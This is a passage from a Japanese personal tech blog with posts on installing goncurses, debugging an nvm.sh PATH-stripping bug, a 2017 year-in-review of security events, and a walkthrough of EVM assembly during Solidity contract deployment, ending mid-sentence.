rthornton128/goncursesがgo getで入らない時
はじめに
GWも終わりそうですね.
今回, rthornton128/goncurses
を使ってみようとしたらgo getで躓いたのでいろいろ書いておきます.環境はUbuntu16.04 LTSです.
rthornton128/goncurses
ncursesというTUIを作成するための便利ライブラリがありますが,それをGo言語でも使えるようなものです.
で,こちらをインストールしようと go get
したのですが
$ go get -u github.com/rthornton128/goncurses # pkg-config --cflags ncurses form menu ncurses ncurses panel Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package form was not found in the pkg-config search path. Perhaps you should add the directory containing `form.pc' to the PKG_CONFIG_PATH environment variable No package 'form' found Package menu was not found in the pkg-config search path. Perhaps you should add the directory containing `menu.pc' to the PKG_CONFIG_PATH environment variable No package 'menu' found Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package ncurses was not found in the pkg-config search path. Perhaps you should add the directory containing `ncurses.pc' to the PKG_CONFIG_PATH environment variable No package 'ncurses' found Package panel was not found in the pkg-config search path. Perhaps you should add the directory containing `panel.pc' to the PKG_CONFIG_PATH environment variable No package 'panel' found pkg-config: exit status 1
このようなエラーが出てしまいインストールできませんでした.思い当たる節としては,そもそもncurses入れてなかったので,まずはncursesをインストールしていきます.
ちょうど,同じ環境で試してる人がいましたがgccのバージョンの問題で最新版が入らないと書いてあります.僕のgccはこの5.31よりは新しい5.4だったので入るかもしれませんでしたが,確実に入りそうなncurses-5.7を入れることにしました.
$ wget http://ftp.gnu.org/gnu/ncurses/ncurses-5.7.tar.gz $ tar -xvzf ncurses-5.7.tar.gz $ cd ncurses-5.7 $ ./configure $ make $ sudo make install
これでncursesは入りましたが go get
で出ていたエラーは全て,pcファイルを PKG_CONFIG_PATH
に追加するべきだ,みたいなやつです. PKG_CONFIG_PATH
ってなんだと思い調べてみると, /usr/lib/pkgconfig
または /usr/local/lib/pkgconfig
を通せばいいっぽいです.
自分の場合は /usr/lib/
に pkgconfig
があったのでこれを通すようにシェルの設定ファイルに export PKG_CONFIG_PATH=/usr/lib/pkgconfig
を追加しました.
そして拡張子がpcのファイルを PKG_CONFIG_PATH
に追加する必要がありますが,これらがどこにあるのかわからずググると以下のgistが見つかりました.
これを参考に,上記でmakeしたディレクトリを /usr/local/opt/
へコピーし,/usr/local/opt/ncurses-5.7
という風にしました.あとは,上記のgistにあるpcファイルの prefix
を /usr/local/opt/ncurses-5.7
に, Description
のバージョンを6.0から5.7にして4つのpcファイルを PKG_CONFIG_PATH
に配置してから go get
したところ上手く入りました.
libncurses5-dev
ここまでいろいろと書きましたが,これパッケージマネージャーから入らんの?と思い調べてみると, libncurses5-dev
というパッケージが見つかったので,これを apt-get install
してからパスをいい感じに設定してもよかったかもしれません.
Ubuntu – パッケージのファイル一覧: libncurses5-dev/xenial/amd64
おまけ
NVM_DIRを正しく設定していなかったせいでパスが破壊されていた話
はじめに
特に書くことがなく4ヶ月ぶりのブログです.
最近golangを始めて, export PATH=$GOPATH/bin:$PATH
とかでパスを通そうとしたらなぜかパスが通らないという問題が起きました.いろいろ探っていくとどうやら nvm.sh
をsourceしている場所より後ろに配置すると通るという謎現象が起きていて,さらに言うと $GOPATH/bin
のbinをhogeとか別の名前にすると通るという意味が分からないことになっていたので, nvm.sh
を少し読んでみたら原因がわかったという話です.というかブログのタイトル通りなので,あとはダラダラと書いていきます.
nvm.sh
nvmはNode Version Managerの略でNode.jsのバージョン管理ツールであり,使っている人も多いのではないでしょうか.僕はNode.jsはほぼ書いたことがないのですが,たまに必要になったりすることもあるので一応使っています.
そんなnvmですが,シェルの設定ファイルとかに nvm.sh
を実行するように書いて使用します.この nvm.sh
の中にnvmコマンドの本体も書かれています.
nvm() { if [ $# -lt 1 ]; then nvm --help return fi local DEFAULT_IFS DEFAULT_IFS=" $(nvm_echo t | command tr t \\t) " if [ "${IFS}" != "${DEFAULT_IFS}" ]; then IFS="${DEFAULT_IFS}" nvm "$@" return $? fi ...........................
起きていた現象について
まず, nvm.sh
をsourceしている直前で $GOPATH/bin
のパスを通してから echo $PATH
で正しく反映されていることを確認しました.その後, nvm.sh
の直後にも echo $PATH
を置いて,パスの頭に追加した $GOPATH/bin
がそっくり消えていることも確認しました.これは冒頭でも書いたようにbinを別名にすると通ります.
そこで, nvm.sh
を読むことにしました.この時僕が使っていた nvm.sh
は少し古いものでしたが(ver 0.33.1),最新版(ver 0.33.9)を持ってきてもパスが通らないことに変わりはありませんでした.以下,まずは古い nvm.sh(0.33.1)
について書きます.
nvm.sh
では nvm_process_parameters
という関数を実行していてその中でさらに nvm_auto
を実行しています.この nvm_auto
の中にあった以下の行でパスは更新されていました.
....... VERSION="$(nvm_resolve_local_alias default 2>/dev/null || nvm_echo)" if [ -n "$VERSION" ]; then nvm use --silent "$VERSION" >/dev/null .......
VERSION
には v8.11.1
などが入ってきます.次に,nvmのuseというサブコマンドを見てみます.nvmに渡されたサブコマンドはcase文によって分岐していて,useも同様です.
"use" ) local PROVIDED_VERSION local NVM_USE_SILENT NVM_USE_SILENT=0 local NVM_DELETE_PREFIX NVM_DELETE_PREFIX=0 .......
このuseの中に以下のような行を見つけました.
....... # Strip other version from PATH PATH="$(nvm_strip_path "$PATH" "/bin")" .......
見るからに原因がこれっぽいです....
nvm_strip_path
を見てみると,
nvm_strip_path() { if [ -z "${NVM_DIR-}" ]; then nvm_err '${NVM_DIR} not set!' return 1 fi nvm_echo "${1-}" | command sed \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*:##g" \ -e "s#:${NVM_DIR}/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*:##g" \ -e "s#:${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*##g" }
このように渡された引数を sed を使って置換しています.第1引数には現在のパスを,第2引数には"/bin"という文字列を渡していて,冒頭で説明した追加しているのに消えているパスというのは /home/yyy/.go/bin
です.これは先頭に追加していたので,追加後は /home/yyy/.go/bin:/home/yyy/...
という風になるはずです.
また, NVM_DIR
はどんな値になっているのか調べてみると NVM_DIR=/home/yyy
になっていました.
ということでsedで置換している1行目, ${NVM_DIR}/
は"/home/yyy/"になり, [^/]
は否定の文字クラスであり"/"以外全てを表し,直後の*である0回以上の繰り返しによって".go"が当てはまり,その後の ${2-}
が"/bin,最後の":"も合わせて `/home/yyy/.go/bin:" が当てはまってしまうことになります.
よって,sedのこの1行目でパスが破壊されていたということになります.
NVM_DIRについて
謎の現象が起きていた原因はもちろん, NVM_DIR
を正しく設定していなかったことです.なにを見て追加したかは忘れましたが,とにかく設定ファイルに NVM_DIR
は書いてありませんでした....
それでも NVM_DIR
が設定されていたのは nvm.sh
の以下の箇所が原因でした.
# Auto detect the NVM_DIR when not set if [ -z "${NVM_DIR-}" ]; then # shellcheck disable=SC2128 if [ -n "${BASH_SOURCE-}" ]; then # shellcheck disable=SC2169 NVM_SCRIPT_SOURCE="${BASH_SOURCE[0]}" fi # shellcheck disable=SC1001 NVM_DIR="$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)" export NVM_DIR fi unset NVM_SCRIPT_SOURCE 2> /dev/null
NVM_CD_FLAGS
は "-q" になっていて, nvm_cd
というのは以下のようになっています.
nvm_cd() { # shellcheck disable=SC1001,SC2164 \cd "$@" }
また, "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")"
は nvm.sh
があるディレクトリになるので,僕の場合 "$(nvm_cd ${NVM_CD_FLAGS} "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)"
は以下のような文字列になるはずです.
cd -q /home/yyy/.nvm > /dev/null && \pwd
.nvm
の絶対パスを取得して,この結果を NVM_DIR
に格納していると思うのですが, -q
オプションをつけるのとつけないので比較してみると, -q
を付けた場合は格納される値がホームディレクトリの絶対パスになります.そもそも -q
オプションなんて cd にはないと思うのですが,よくわかりません.
NVM_CD_FLAGS
は以下の箇所で定義されています.
# Make zsh glob matching behave same as bash # This fixes the "zsh: no matches found" errors if [ -z "${NVM_CD_FLAGS-}" ]; then export NVM_CD_FLAGS='' fi if nvm_has "unsetopt"; then unsetopt nomatch 2>/dev/null NVM_CD_FLAGS="-q" fi
このコメントを見る限り, NVM_CD_FLAGS
は必要なものだと思います.これを除いて NVM_DIR="$(nvm_cd "$(dirname "${NVM_SCRIPT_SOURCE:-$0}")" > /dev/null && \pwd)"
とすると, NVM_DIR
には.nvmの絶対パスが入ってくれるのですが....
最新版のnvm.sh
現在(2018/04/20)の最新版は 0.33.9 です.この nvm.sh
では上記の箇所が以下のように変わっていました.
# Change current version PATH="$(nvm_change_path "$PATH" "/bin" "$NVM_VERSION_DIR")"
nvm_change_path() { # if there’s no initial path, just return the supplementary path if [ -z "${1-}" ]; then nvm_echo "${3-}${2-}" # if the initial path doesn’t contain an nvm path, prepend the supplementary # path elif ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/[^/]*${2-}" \ && ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/versions/[^/]*/[^/]*${2-}"; then nvm_echo "${3-}${2-}:${1-}" # use sed to replace the existing nvm path with the supplementary path. This # preserves the order of the path. else nvm_echo "${1-}" | command sed \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*#${3-}${2-}#g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*#${3-}${2-}#g" fi }
nvm_strip_path
ではなく nvm_change_path
を使っています.これも同様に,sedの1行目に当てはまってしまっていたのでパスが消えていたという事でした.
まとめ
結局 NVM_CD_FLAGS
がなぜ必要なのかわからず,バグなのかどうかもわからずじまいでした.issueでも立てたほうがいいんですかね....
NVM_DIR
を正しく設定しましょうという話でした.
2017年を振り返る
去年も1年を振り返る記事を書いた.
これが意外とその時期に何をやっていたのかわかったりして便利だったので,今年も1年の振り返りを書いておこうと思う.
去年みたいに携帯の画像欄を漁っていく.
1月
アセンブラ短歌
新年なにをやっていたか見てみたら,アセンブラ短歌を勉強していた.バイト先の勉強会でやろうと思っていろいろ試行錯誤していた時期.限られたバイト数でアセンブリを書く技術はCTFでシェルコードを書いた時に役に立ったし,なによりアセンブラ短歌という文化が面白いので,オススメ.
ノートPCのメモリ増設
今ではもう使っていないPCだけど,この時メモリもっと欲しいなぁと思って増設していた.結果的に快適環境になったし,買ってよかった.
2月
絵ろうそく祭り
会津では毎年2月に絵ろうそく祭りというのが開催される.多くの絵ろうそくが鶴ヶ城に設置されてめっちゃ綺麗なんだけど,これのバイトをやることになって,鎧を着て観光客と写真撮影するっていう仕事を友達と一緒にやっていた.足周りがくそ寒くて,辛かった覚えがある.
双葉杏を描いた
双葉杏が可愛いので,描いた.模写じゃなくてオリジナルのポーズでキャラクターを描くのは初めてで苦戦してた.
後から細かく見直すと修正したくなるところが多々でてくるので,あまり直視しないようにしていたりする.
3月
FUKUSHIMA Hackathon 2017 セキュリティ部門
fukushimahackathon2017.peatix.com
セキュリティ部門で参加した.このハッカソンはバイト先が開催しているやつで,参加者として出れることになったのでセキュリティ部門で脆弱性を探していた.圧倒的技術力不足でほとんどなにもできなかったけど,参加者に某有名CTFチームの人や某セキュリティベンダーのメンバーで構成されたチームが出ていたり,プロの凄さに圧倒された.
ThinkPad X1 Carbon を買った
今年一番,いや過去最高の買い物かもしれない.入学当時から使っていたPCが物理的な限界を迎えていて,スペックがもっといいPCが欲しいなぁと思っていたので思い切って購入した.確か18万ぐらいで,親に12万借りて一括で買った.その12万は今でも返済していて,終わるのは来年の4月頃になりそう.
X1 Carbon よい.
4月
新入生LT
バイト先が開催している新入生LT.自分は,ノートPCのWebカメラは必要ない時以外は塞いでセキュリティ意識高めましょうみたいな話をした.Kaliを使ってデモをしようとしていたが,会場のネットワークがゴミで結局できなかったのを覚えている.
応用情報技術者試験
午後の点数が27点も足りなくて落ちる.FEの時もそうだったけど,3週間前くらいになってからノロノロ始めて焦るやつをまたやってしまって,FEみたいにいけるやろとか思ってたら甘かった....秋にまた受けた.
5月
モーニング娘。'17ライブ in 仙台
画像は帰りに食べた牛タン.さすが仙台というだけあって,今まで食べた牛タンの中で一番美味かった.誘われてライブに行くことになったけど,メンバーの中の「工藤遥」って子可愛いなぁぐらいにしか思ってなかった.
だけど実際にライブが始まってみるとモーニング娘。半端ない.めっちゃかっこよくて女性ファンが多い理由もわかった.リアル工藤遥を遠目だけど目にしてしまい,ハマることになる.
セキュリティキャンプ全国大会2017の応募用紙
5月はなんといってもこれ.1ヵ月丸々費やしていて,GWで帰省した実家でも大学でも自宅でも,ひたすら応募用紙を書いていた.応募できるのは年齢的に最初で最後だし,異常なほど時間を費やしていて,毎日頭から離れなかった.
最初は,共通問題を埋めながら選択問題のA-4を進めていた.そしてその後A-6に1週間かけて取り組み,PEファイルをパースするプログラムをCで書いた.最後に残しておいたA-5がかなり難しくて,上に貼った画像がそれなんだけど,わからないことが多すぎて辛かった.けど,調べて実践しての繰り返しで試行錯誤しまくり,その過程を応募用紙で熱く語った.文字数的には5万字オーバーで作文用紙100枚以上書いていたわけで,今振り返ると異常.
6月
地元の風景を描いた
地元の風景をモチーフに,絵を描いた.友達が描いた絵とか見ると自分の絵の雑さや粗さが目立つので,もっと綺麗に描けるようになったらなぁとか思ったりはする.これ以来絵を描いていなくて引退しつつあるが,描きたいと思ったときに描くのがちょうどいいのかも.
セキュリティキャンプ合格通知
合格した!!!!!!!!!!!!!!
確かメールが来たのは大学で講義を受けているときで,嬉しすぎて講義の内容とか1ミリも入ってこなかった.一緒に応募していた友人も受かっていて,最高だった.
7月
逆求人イベント(渋谷)
初めての逆求人イベント.よね君に紹介されて渋谷へ.画像は渋谷で朝に食べたオシャレパンケーキ.
参加したことない身としては,あ~逆求人とか最近よく聞くね~ってぐらいの感覚で,具体的にどんなことをやっているのか全く知らなかった.参加してみるといろんな企業の人事やエンジニアと話せて自分のアピールができて,またそれに対するアドバイスを貰えるので,自己分析とかしたことがなかった自分としては,客観的な意見はとても貴重だったし,1度は参加したほうがいいと思うイベントだった.
エフスタ!!勉強会&東北情報セキュリティ勉強会
猪俣さんの話ではRSAの話はサイドチャネル攻撃の話があり,また法林さんからはコミュニティの運営側の話を聞くことができ,勉強になった.郡山で開かれたのも良くて,交通費が東京ほどかからないので,是非もっといろんなイベントを開催してほしい.
8月
SECCON2017 x CEDEC CHALLENGE
大学院の先輩含めた3人で wabisabi from ISM というチームを組み,参加した.序盤は順調だったけど,本題であるゲームアプリの解析は難航していて,簡単なチートしかできなかったのが悔やまれる.それでも6位とかで,参加したチームは40以上いたらしいので,意外と順位は上のほうだったっぽい.キャンプが始まって時間が取れなかったので,最終日に解析結果を先輩に丸投げしてスライド作成をお願いしてしまったので,来年はもっと計画的にやりたい.
セキュリティキャンプ全国大会2017
キャンプどうだった?と聞かれるとき,毎回決まって「人生が変わるキャンプ」と雑に応えてるけど当然嘘は言ってなくて,本当にそれぐらいすごいイベントで,一言で言い表すなんてできない.参加者は技術的にずば抜けた人や頭がキレる人とか,人としてスペック高いやろみたいな人達ばかりで,圧倒された.もっともっと成長していきたい.
株式会社ラック インターン
マルウェア解析をした.それとJSOCを見学させて貰えて,とても綺麗だった.
下手なことは書けないためか,文章が出てこない.
Katagaitai CTF 勉強会
恒例のKatagaitai勉強会.ReversingとWebをやって,Reversingはbataさんが担当で Hack.lu CTF 2012 Reversing 500 DonnBeach をやった.ついていくのに必死で難しかった.セキュキャン勢と早めの再開を果たし,一緒にご飯食べたりした.午後はWebでやぎはしゅさんが担当.ひたすらXSSしていた.
9月
男10人で車を借りて富士急へ
大規模遠征.静岡の旅館に泊まってから富士急へ.富士急は初めてでワクワクしながら行ったんだけど,アトラクション系が全部乗り物酔いの要素が含まれていて辛かった.特にトンデミーナとかいうアトラクションは面白要素無いし,ただひたすらに酔わされて,人生最悪な乗り物だった.でも絶叫系は普通に楽しかったし,最後に高飛車に乗るかどうかで渋って,結局乗ってみたら綺麗な夜景をみることができて最高だった.次の大規模遠征はどこになるだろう.
SECCON Beginners 2017 仙台
CTF初心者ではないけどWebを全く知らなかったり,他にも参加したい理由があって仙台へ.ステッカーが貰えたので早速貼ったりした.
10月
応用情報技術者試験 再び
再びの受験.今度は前回受けた時の知識が貯金として脳内にあるだろうと思って,残り3週間切ったときから勉強を始めた.当日は午前はまぁまぁ,午後は30分ぐらい余ったりして合格を確信するぐらいは手応えがあった.結果受かってたので,早く奨励金の2万円が欲しい.
11月
A(izu)LT 0x09
www.slideshare.net
「シェルを起動するまほうのことば」で発表した.他の発表者のレベルが高くてビビった.
仙台CTF 2017
仙台でフォレンジックの講義を含めたCTFがあるということで,参加した.参加者は30人弱ぐらい.Beginnersみたいな感じで,講義と個人戦のCTFがセットになっていた.Top3にはトロフィーなどがあって,少しはやっているんだし取れるっしょとか思って挑んだら,後半で失速してしまい,8位という悔やまれる結果に.Webの問題は1問目がわからないと,それ以降の問題が解けないようになっていて,1問目がわからずタイムアップ.解答は id:admin
, password:admin
で入れちゃうということで, id:admin
でSQLインジェクションを考えていた自分は「エスパー問題かよw」とか思ったけど,実際にそういう事例があるらしい.一緒に参加していたkobadlveは2位に入っていて流石だった.
Hardening 2017 Fes
バイト先が4年前に優勝しているらしく,また参加することになって社員さんに誘われて参加した.全力で競技に挑み,全力で観光し,本当に充実した4日間だった.まだまだ技術力不足なのを痛感.
人生で初めて4日連続で温泉に入るということを経験した.明石海峡大橋を見ながら入る露天風呂とか最高だったし,淡路島よい.
12月
SECCON 2017 Online予選
Qubic Rubeの印象が強すぎる.Web強いマンがいたら + あと1,2問解けていたらもしかしたら国内決勝には出れたっぽくて,悔しいので来年また参加する.
Advent Calendar
2つのAdvent Calendarに投稿した.
Google Home Mini が家にきた
バイト先のプレゼン大賞で,自分がやったアセンブラ短歌のやつとルービックキューブのプレゼン2つが同率1位になり,Google Home Mini を貰うことができた.まだ,天気とか音楽とかでしか使ってないので有効活用していきたい.
まとめ
大晦日1日で一気に書いたのでなにか抜けているイベントがありそうだけど,画像欄見る限りはこれぐらいっぽい.
今年は,"経験"というインプットを大量にできた年だったと思う.逆に言うと技術書とかをあまり読めてなくて,Webの情報からのインプットが多かったためにどうしても部分的なものになってしまい,体系的に学ぶということができていなかった.
だけど,成長という面で見たらかなりでかくて,ある程度経験を積むことで大局的な視点を持つことができたし,今自分に足りないものがなんなのかを見極めることができた.
去年のブログで,こうなったらいいなぁという目標っぽいのを書いたらその通りになったので今年も書いておくと,来年は経験より知識としてのインプットを増やしていきたい.当然アウトプットもしないと定着していかないと思うのでそちらも重視するけど,とにかく本を読もうと思った.それと,英語もどうにかしたい.最近話すにしても書くにしても,なにかと英語に触れる機会が多くなってきたので,英語力の向上が必要っぽい.
今年が充実しすぎていたので来年下がりそうで心配だけど,なんとかやっていきたい.
Smart ContractをデプロイするときにEVMで行われていること
この記事は Aizu Advent Calendar 2017 - Adventar 21日目の記事です.
前の人は id:ktr_0731 で,
次は id:slme9364 です.
はじめに
去年に引き続き2回目の参加ですが,今回は最近某所でEthereumを触ることがあり,その際疑問に思ったことを掘り下げていこうと思います.レイヤーが低めの話になります.
今回やること
Ethereumの内部でSmart Contractというものが使われていますが,これをブロックチェーン上へデプロイする時って基本的にはsolcでコンパイルしてからgethで
> eth.contract(abi).new({ from: ..... , data: ...... , gas: ..... })
とかでトランザクションを発行します.この時にdataに指定しているものってEVM bytecodeと呼ばれる16進数の列なわけで,大体こんな感じ
606060405260006001600061010...................................
になっていると思います.
また,他のユーザーに自身の作成したコントラクトを利用してもらうために、「コントラクトのアドレス」と「ABI」の2つ情報を伝えて初めて他のユーザーがデプロイされたコントラクトを使うことができるわけですが,実は利用者はコントラクトのコードに対して以下のようにアクセスすることができます.
> eth.getCode(コントラクトのアドレス) "0x606060405260006001600061010...................................
そこでふと思ったのが,デプロイされたEVM bytecodeをリバースエンジニアリングし,コンパイルされる前のSolidityで記述されたファイルまで戻すことはどこまで可能なのか?ということです.
と言っても,EVMで使われているアセンブリも知らない初心者がリバースエンジニアリングをしようとしても詰むだけなので,今回はコントラクトをデプロイするときの処理を中心に,EVMの中でなにが行われているのか,EVM assemblyを読むことで明らかにしていきたいと思います.コントラクトを書く言語は他にもあるらしいですが,今回はとりあえずSolidityでやります.
EVMで使われるデータ構造や命令について
まず,EVM内ではどのようなデータ構造が使われているのか,どのような命令(オペコード)が使われているのか,などを簡単に調べていきます.
Ethereumの仕様書でYellow Paperと呼ばれるものや,あとはEthereumのwikiとかが参考になります.
まずデータ構造ですが,各命令はデータを保存するために以下の3つの領域を使います.
- stack
- memory
- storage
stack
は普通のスタックだったので省略し, memory
は「無限に拡張可能なバイト配列」です.storage
は stack
や
memory
と違い,長い期間存続するkey/valueストアです.
また,内部で使われている命令ですが,これは Yellow Paperの23ページに全て載っているので割愛します.
やってみる
まずは以下のようなSmart Contractから始めていきます.
pragma solidity ^0.4.0; contract HelloWorld { }
なにもしない空のコントラクトです.これを,以下のようにアセンブリを出力するようにして,読んでいきます.
$ solc --optimize --asm HelloWorld.sol > HelloWorld.sol.dis
======= HelloWorld.sol:HelloWorld ======= EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a72305820a6b4f23e09acc57a4a971849c21344d45e014c2944a13821c5804492f1c50c720029 }
また,比較のために以下のようなコントラクトも用意します.
pragma solidity ^0.4.0; contract HelloWorld { uint data; function HelloWorld() { data = 0xdeadbeef; } }
これもアセンブリを出力してみます.
======= HelloWorld2.sol:HelloWorld ======= EVM assembly: /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) /* "HelloWorld2.sol":63:113 function HelloWorld() {... */ jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: /* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a7230582008092ae2364624e84432682e083b5c6bad044762c66a05fae7e553e4ce9258460029 }
一番最初のコントラクトを Hello World1
,コンストラクタで0xdeadbeef
を代入するほうを Hello World2
とすると,2では
/* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore
このような命令が追加されていて,これが
function HelloWorld() { data = 0xdeadbeef; }
この部分にあたります. sstore
という見慣れない命令がありますが,これがどういう命令なのかをYellow Paperで調べてみると Save word to storage.
と書かれていました.つまり,この処理ではkey/valueストアであるstorageに 0x0
をkeyとして 0xdeadbeef
(正しくは0xdeadbeefを32byteに拡張したもの)を保存しているということになります.
また,0xdeadbeef
や 0x0
と値だけ書かれているのはpush命令が省略されて書かれていて,実際にEVM bytecodeを見てみるとこの処理は
63deadbeef600055
このようなバイト列になっています.63が push4
にあたるので, 63deadbeef
で push4 0xdeadbeef
, 60が push1
なので 6000
で push1 0x00
になり,最後の55が sstore
です.
これを見るとEVMではビッグエンディアンが使われているということもわかります.
コンストラクタ以外の部分について
コンストラクタの data = 0xdeadbeef
にあたる命令は
0xdeadbeef 0x0 sstore
であり, sstore(0x0, 0xdeadbeef)
であることはわかったものの,他の大部分のコードは未だ謎です.これらは一体なんなのでしょうか.そもそも,EVM bytecodeをデプロイしてそれがEVM上で実行されるためには,デプロイするコード(EVM上へ登録するためのコード)が必要なはずです.コンストラクタが存在しているということ以外は Hello World1
とHello World2
に違いはないので,その他のコードはデプロイするために必要なコードである可能性が高いです.
ということで,上から命令を地道に追っていきます.以下では Hello World1
(なにもしないコントラクト)を使っていきます.
コントラクトがデプロイされる処理を追う
EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60)
まずは mstore(0x40, 0x60)
という命令から始まっています. mstore
は Save word to memory.
であり,この場合 0x40
の場所に 0x60
(正確には0x60を32byteに拡張したもの)を保存するという命令になります.実際にどのような実装になっているのか,go-ethereumを見てみます.
go-ethereum/core/vm/instructions.go
の493行目にあります.
func opMstore(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { // pop value of the stack mStart, val := stack.pop(), stack.pop() memory.Set(mStart.Uint64(), 32, math.PaddedBigBytes(val, 32)) evm.interpreter.intPool.put(mStart, val) return nil, nil }
mstore
を呼ぶときのstackの状態は
0x40 +-+-+ 0x60 +-+-+
このようになっていて,1回目の stack.pop()
で 0x40
が mStart
に入り2回目の stack.pop()
で 0x60
が val
に入ります.その後memoryに保存するのですが,その際 math.PaddedBigBytes
を使って val
を32byte拡張しています.そして, go-ethereum/core/vm/memory.go
の32行目のSet
func (m *Memory) Set(offset, size uint64, value []byte) { // length of store may never be less than offset + size. // The store should be resized PRIOR to setting the memory if size > uint64(len(m.store)) { panic("INVALID memory: store empty") } // It's possible the offset is greater than 0 and size equals 0. This is because // the calcMemSize (common.go) could potentially return 0 when size is zero (NO-OP) if size > 0 { copy(m.store[offset:offset+size], value) } }
これが呼ばれ,最終的に copy(m.store[offset:offset+size], value)
でstoreされるという処理になっています.
次ですが,
jumpi(tag_1, iszero(callvalue))
jumpi
や iszero
, callvalue
など見慣れない命令が出てきました.
jumpi
は Conditionally alter the program counter
と書かれていて要するに条件分岐命令であり,その後の説明を見る限り第2引数が0でなければ第1引数へ飛ぶ命令っぽいです.また, iszero
はスタックから1つpopして0であれば1,そうでないなら0をスタックへpushする命令です.では callvalue
がなんなのかですが,正直よくわかってません.実際のコードは以下のようになっているのですが,
func opCallValue(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { stack.push(evm.interpreter.intPool.get().Set(contract.value)) return nil, nil }
contract.value
がなにを指すのかがわからず...とにかくこの値が0になっていないと iszero
により1がセットされないので,0であるべき値なのは確かなのですが...
では次に,tag_1へ飛んだ先の処理を追っていきます.
tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop
まず, dataSize(sub_0)
ですがこれば実際のバイト列を見てみると 6035
のようになっていて,今回の場合は push1 0x35
だということがわかります.この 0x35
って何かというと sub_0
でラベル付けされたルーチンのバイト数であり,つまりここでは sub_0
のサイズがstackへpushされているということになります.次の dup1
ですが,これは Duplicate 1st stack item.
と説明がある通りstackの1番目の要素を複製します.ここでは,現在stackへ積まれている 0x35
が複製されるということです.
次に, dataOffset(sub_0)
ですがこれも実際のバイト列を見てみると 601b
のようになっていて, push1 0x1b
だということがわかります.この 0x1b
は先頭から sub_0
までのオフセットを指していて,このオフセットをstackへ積んでいます.その後 0x0
をpushして codecopy
を実行するわけですが,この時のstackの状態を整理してみると以下のようになっています.
0x0 +-+-+ 0x1b +-+-+ 0x35 +-+-+ 0x35 +-+-+
この状態で codecopy
を呼ぶとどのように実行されていくのか, go-ethereum/core/vm/instructions.go
の408行目を見ていきます.
func opCodeCopy(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { var ( memOffset = stack.pop() codeOffset = stack.pop() length = stack.pop() ) codeCopy := getDataBig(contract.Code, codeOffset, length) memory.Set(memOffset.Uint64(), length.Uint64(), codeCopy) evm.interpreter.intPool.put(memOffset, codeOffset, length) return nil, nil }
今回の場合, memOffset
に 0x0
が入り, codeOffset
に 0x1b
, length
に 0x35
が入ります.そして, getDataBig
での結果が codeCopy
に入るわけですが, getDataBig
は go-ethereum/core/vm/common.go
で宣言されていて
// getDataBig returns a slice from the data based on the start and size and pads // up to size with zero's. This function is overflow safe. func getDataBig(data []byte, start *big.Int, size *big.Int) []byte { dlen := big.NewInt(int64(len(data))) s := math.BigMin(start, dlen) e := math.BigMin(new(big.Int).Add(s, size), dlen) return common.RightPadBytes(data[s.Uint64():e.Uint64()], int(size.Uint64())) }
スライスを返す関数だとわかります.つまり,コントラクト全体のコードから sub_0
にあたるコードだけを取り出してそれを返します.その後, memOffset
の位置 ( 0x0
)に sub_0
のコードを格納しています.
codecopy
の後は 0x0
をpushして return
ですが, これはメモリオフセットとサイズの2つの値をstackからpopし,memory.GetPtr
での返り値を返すような処理になっています.
func opReturn(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { offset, size := stack.pop(), stack.pop() ret := memory.GetPtr(offset.Int64(), size.Int64()) evm.interpreter.intPool.put(offset, size) return ret, nil }
memory.GetPtr
は以下です.
// GetPtr returns the offset + size func (self *Memory) GetPtr(offset, size int64) []byte { if size == 0 { return nil } if len(self.store) > int(offset) { return self.store[offset : offset+size] } return nil }
呼び出し元へ戻ってからも後は revert
しているぐらいなのですが, revert
の説明が Yellow Paper に無くて,このサイト で見つけたので,後から追加された命令なんでしょうか.
ここまで説明した処理がコントラクトをデプロイする処理にあたります.
evm --debugでコントラクトがデプロイされる処理を見てみる
恐らくethereumをインストールした際に一緒に入ってくるコマンドだと思うんですが, evm
